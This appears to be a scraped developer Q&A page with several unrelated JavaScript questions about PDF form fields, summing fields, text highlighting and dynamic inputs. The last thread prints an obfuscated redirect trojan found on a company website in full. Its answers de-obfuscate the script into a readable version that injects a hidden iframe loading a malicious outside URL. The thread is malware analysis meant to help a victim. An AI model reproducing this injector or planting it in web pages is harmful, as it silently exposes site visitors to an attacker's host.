Develop Reference

Adobe PDF Add Text Javascript to all even pages

How can I add a text field to all even pages of a pdf document?
With the following the text is added only to the second page of the document.
if ( fld = "undefined" ) {
var f = this.addField("MacroDate", "text", 1, [550,0,50,15]);
f.delay = true;
f.alignment = "center";
f.fillColor = color.transparent;
f.lineWidth = 0;
f.strokeColor = color.black;
f.borderStyle = border.s;
f.textSize = 8;
f.textColor = color.black;
f.textFont = font.Helv;
f.readonly = false;
f.multiline = false;
f.doNotScroll = true;
f.value = util.printd("dd/mm/yyyy", new Date());
f.delay = false;
} ```

sum field values based on condition in another field in javascript

I am attempting to sum a number of field values but only if a condition associated with those filed values is met. For example:
I have a form with several number value fields. Each of those number fields is accompanied by a choice in status. I simply want to add all of the number fields of the same status, or possibly some with a couple different status. Here is the code I tried, that does not work:
// field names
var cTotal1 = "Day1Pd1Total";
var cTotal2 = "Day1Pd2Total";
var cTotal3 = "Day1Pd3Total";
var cTotal4 = "Day1Pd4Total";
var cTotal5 = "Day1Pd5Total";
var cTotal6 = "Day1Pd6Total";
var cStatus1 = "Day1Pd1Status";
var cStatus2 = "Day1Pd2Status";
var cStatus3 = "Day1Pd3Status";
var cStatus4 = "Day1Pd4Status";
var cStatus5 = "Day1Pd5Status";
var cStatus6 = "Day1Pd6Status";
// get conditonal field values
var vStatus1 = this.getField(cStatus1).value;
var vStatus2 = this.getField(cStatus2).value;
var vStatus3 = this.getField(cStatus3).value;
var vStatus4 = this.getField(cStatus4).value;
var vStatus5 = this.getField(cStatus5).value;
var vStatus6 = this.getField(cStatus6).value;
// get field values base on condition
if(vStatus1 = "1"){
var vTotal1 = this.getField(cTotal1).value;
}else{
var vTotal1 = "0";
}
if(vStatus2 = "1"){
var vTotal2 = this.getField(cTotal2).value;
}else{
var vTotal2 = "0";
}
if(vStatus3 = "1"){
var vTotal3 = this.getField(cTotal3).value;
}else{
var vTotal3 = "0";
}
if(vStatus4 = "1"){
var vTotal4 = this.getField(cTotal4).value;
}else{
vTotal4 = "0";
}
if(vStatus5 = "1"){
var vTotal5 = this.getField(cTotal5).value;
}else{
vTotal5 = "0";
}
if(vStatus6 = "1"){
var vTotal6 = this.getField(cTotal6).value;
}else{
vTotal6 = "0";
}
// clear result value
event.value = "";
// add values
var FLPTotal = vTotal1+ vTotal2 + vTotal3 + vTotal4 + vTotal5 + vTotal6;
event.value = FLPTotal;
I have also tried something like this:
var FLPTotal = vTotal1(vStatus1 == "1") + vTotal2(vStatus2 == "1") +vTotal3(vStatus3 == "1") +vTotal4(vStatus4 == "1") +vTotal5(vStatus5 == "1") +vTotal6(vStatus6 == "1")
My knowledge of JavaScript is fairly poor, I admit. Any help would be genuinely appreciated. Thank you!

After working on this some more, I noticed it was riddled with syntax errors. After fixing them, I got this to work:
// field names
var cTotal1 = "Day1Pd1Total";
var cTotal2 = "Day1Pd2Total";
var cTotal3 = "Day1Pd3Total";
var cTotal4 = "Day1Pd4Total";
var cTotal5 = "Day1Pd5Total";
var cTotal6 = "Day1Pd6Total";
var cStatus1 = "Day1Pd1Status";
var cStatus2 = "Day1Pd2Status";
var cStatus3 = "Day1Pd3Status";
var cStatus4 = "Day1Pd4Status";
var cStatus5 = "Day1Pd5Status";
var cStatus6 = "Day1Pd6Status";
// get conditonal field values
var vStatus1 = this.getField(cStatus1).value;
var vStatus2 = this.getField(cStatus2).value;
var vStatus3 = this.getField(cStatus3).value;
var vStatus4 = this.getField(cStatus4).value;
var vStatus5 = this.getField(cStatus5).value;
var vStatus6 = this.getField(cStatus6).value;
// get field values base on condition
if(vStatus1 == "1"){
var vTotal1 = this.getField(cTotal1).value;
}else{
var vTotal1 = "";
}
if(vStatus2 == "1"){
var vTotal2 = this.getField(cTotal2).value;
}else{
var vTotal2 = "";
}
if(vStatus3 == "1"){
var vTotal3 = this.getField(cTotal3).value;
}else{
var vTotal3 = "";
}
if(vStatus4 == "1"){
var vTotal4 = this.getField(cTotal4).value;
}else{
var vTotal4 = "";
}
if(vStatus5 == "1"){
var vTotal5 = this.getField(cTotal5).value;
}else{
var vTotal5 = "";
}
if(vStatus6 == "1"){
var vTotal6 = this.getField(cTotal6).value;
}else{
var vTotal6 = "";
}
// clear result value
event.value = "";
// add values
var FLPTotal = vTotal1 + vTotal2 + vTotal3 + vTotal4 + vTotal5 + vTotal6;
event.value = FLPTotal;
I am not sure it is as streamlined as it could be, but it is doing what I need.

Javascript not working for first time in my HTML File

I have checked and tried various solutions provided here previously but still my javascript is not working for the first time. If I refresh the page manually only once, my javascript gets active in a very fine manner.
After refreshing the page, I am very fine with javascript but if I put this same script in other new HTML file then same issue found on loading the page first time.
My script actually search for a text in the HTML file and change the text style every where it is found in that page.
Following is the script that I have used::
<script type="text/javascript">
//<![CDATA[
function Hilitor(id, tag){
var targetNode = document.getElementById(id) || document.body;
var hiliteTag = tag || "EM";
var skipTags = new RegExp("^(?:" + hiliteTag + "|SCRIPT|FORM|SPAN)$");
var colors = ["#ff6", "#a0ffff", "#9f9", "#f99", "#f6f"];
var wordColor = [];
var colorIdx = 0;
var matchRegex = "";
var openLeft = false;
var openRight = false;
// characters to strip from start and end of the input string
var endCharRegex = new RegExp("^[^\\\w]+|[^\\\w]+$", "g");
// characters used to break up the input string into words
var breakCharRegex = new RegExp("[^\\\w'-]+", "g");
this.setMatchType = function(type){
switch(type) {
case "left":
this.openLeft = false;
this.openRight = true;
break;
case "right":
this.openLeft = true;
this.openRight = false;
break;
case "open":
this.openLeft = this.openRight = true;
break;
default:
this.openLeft = this.openRight = false;
}
};
this.setRegex = function(input){
input = input.replace(endCharRegex, "");
input = input.replace(breakCharRegex, "|");
input = input.replace(/^\||\|$/g, "");
if(input) {
var re = "(" + input + ")";
if(!this.openLeft) re = "\\b" + re;
if(!this.openRight) re = re + "\\b";
matchRegex = new RegExp(re, "i");
return true;
}
return false;
};
this.getRegex = function(){
var retval = matchRegex.toString();
retval = retval.replace(/(^\/(\\b)?|\(|\)|(\\b)?\/i$)/g, "");
retval = retval.replace(/\|/g, " ");
return retval;
};
// recursively apply word highlighting
this.hiliteWords = function(node){
if(node === undefined || !node) return;
if(!matchRegex) return;
if(skipTags.test(node.nodeName)) return;
if(node.hasChildNodes()) {
for(var i=0; i < node.childNodes.length; i++)
this.hiliteWords(node.childNodes[i]);
}
if(node.nodeType == 3) { // NODE_TEXT
if((nv = node.nodeValue) && (regs = matchRegex.exec(nv))) {
if(!wordColor[regs[0].toLowerCase()]) {
wordColor[regs[0].toLowerCase()] = colors[colorIdx++ % colors.length];
}
var match = document.createElement(hiliteTag);
match.appendChild(document.createTextNode(regs[0]));
match.style.backgroundColor = wordColor[regs[0].toLowerCase()];
match.style.fontStyle = "inherit";
match.style.fontWeight = "900";
match.style.color = "#000";
var after = node.splitText(regs.index);
after.nodeValue = after.nodeValue.substring(regs[0].length);
node.parentNode.insertBefore(match, after);
}
};
};
// remove highlighting
this.remove = function(){
var arr = document.getElementsByTagName(hiliteTag);
while(arr.length && (el = arr[0])) {
var parent = el.parentNode;
parent.replaceChild(el.firstChild, el);
parent.normalize();
}
};
// start highlighting at target node
this.apply = function(input){
this.remove();
if(input === undefined || !input) return;
if(this.setRegex(input)) {
this.hiliteWords(targetNode);
}
};
}
function getParameterByName(name, url) {
if (!url) {
url = window.location.href;
}
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
var query = getParameterByName('query');
var myHilitor = new Hilitor("spnId");
myHilitor.apply(query);
//]]>
</script>

dynamically added input text field and get values to php and send to mysql

I have created like attachment and I have some problem to develop. The text boxes in bottom are dynamically created when add Article button pressed and now I want to update that "Added Article Details" section insert into mysql database some times have 5 rows sometime 2 rows and 1 row also wants to add. I named text box 1,2,3,4,5,6....... how to solve
My Javascript
function added_artic() {
if (added_art) {
document.getElementById('added_article').style.cssText = "display:block;";
var art_name = document.getElementsByName('article_name')[0].value;
var app = document.getElementsByName('appearance')[0].value;
var weight = document.getElementsByName('weight')[0].value;
var netWeight = document.getElementsByName('net_weight')[0].value;
var qty = document.getElementsByName('qty')[0].value;
var test = document.getElementsByName('test')[0].selectedOptions[0].text;
var added = document.getElementById("added");
var i_artname = document.createElement('input');
i_artname.value = art_name;
i_artname.name = "art_name" + art_name_id++;
i_artname.id = "txt_added";
i_artname.disabled = true;
added.appendChild(i_artname);
var i_app = document.createElement('input');
i_app.value = app;
i_app.name = "app" + app_id++;
i_app.id = "txt_added";
i_app.disabled = true;
added.appendChild(i_app);
var i_weight = document.createElement('input');
i_weight.value = weight;
i_weight.name = "weight" + weight_id++;
i_weight.id = "txt_added";
i_weight.className = "cal_weight";
i_weight.disabled = true;
added.appendChild(i_weight);
var i_netweight = document.createElement('input');
i_netweight.value = netWeight;
i_netweight.name = "netWeight" + netWeight_id++;
i_netweight.id = "txt_added";
i_netweight.className = "cal_netWeight";
i_netweight.disabled = true;
added.appendChild(i_netweight);
var i_qty = document.createElement('input');
i_qty.value = qty;
i_qty.name = "qty" + qty_id++;
i_qty.id = "txt_added";
i_qty.className = "cal_qty";
i_qty.disabled = true;
added.appendChild(i_qty);
var i_test = document.createElement('input');
i_test.value = test;
i_test.name = "test" + test_id++;
i_test.id = "txt_added";
i_test.className = "cal_test";
i_test.disabled = true;
added.appendChild(i_test);
var remove_btn = document.createElement('input');
remove_btn.type = "button";
remove_btn.value = "";
remove_btn.id = "remove_btn";
remove_btn.onclick = function ()
{
i_artname.parentElement.removeChild(i_artname);
i_app.parentElement.removeChild(i_app);
i_weight.parentElement.removeChild(i_weight);
i_netweight.parentElement.removeChild(i_netweight);
i_qty.parentElement.removeChild(i_qty);
i_test.parentElement.removeChild(i_test);
edit_btn.parentElement.removeChild(edit_btn);
this.parentElement.removeChild(this);
get_total();
if (!document.getElementsByName("test1")[0] && !document.getElementsByName("test2")[0] && !document.getElementsByName("test3")[0] && !document.getElementsByName("test4")[0] && !document.getElementsByName("test5")[0] && !document.getElementsByName("test6")[0] && !document.getElementsByName("test7")[0] && !document.getElementsByName("test8")[0] && !document.getElementsByName("test9")[0] && !document.getElementsByName("test10")[0])
{
document.getElementById('added_article').style.cssText = "display:none;";
}
}
added.appendChild(remove_btn);
var edit_btn = document.createElement('input');
edit_btn.type = "button";
edit_btn.value = "";
edit_btn.id = "edit_btn";
var a = 'weight' + (weight_id - 1);
var b = 'netWeight' + (netWeight_id - 1);
var c = 'qty' + (qty_id - 1);
edit_btn.onclick = function ()
{
document.getElementsByName(a)[0].disabled = false;
document.getElementsByName(b)[0].disabled = false;
document.getElementsByName(c)[0].disabled = false;
edit_btn.style.cssText = "background-image: url('images/update.png');";
edit_btn.onclick = function ()
{
document.getElementsByName(a)[0].disabled = true;
document.getElementsByName(b)[0].disabled = true;
document.getElementsByName(c)[0].disabled = true;
edit_btn.style.cssText = "background-image: url('images/edit.png');";
get_total();
};
};
added.appendChild(edit_btn);
document.getElementsByName('article_name')[0].value = "Article Name";
document.getElementsByName('appearance')[0].value = "Appearance";
document.getElementsByName('weight')[0].value = "";
document.getElementsByName('net_weight')[0].value = "";
document.getElementsByName('qty')[0].value = "";
document.getElementsByName('test')[0].value = "Select You Tested Karatage type";
}
}
my Project screen shot -

JavaScript trojan dissection

I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>

It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();

It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox

Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.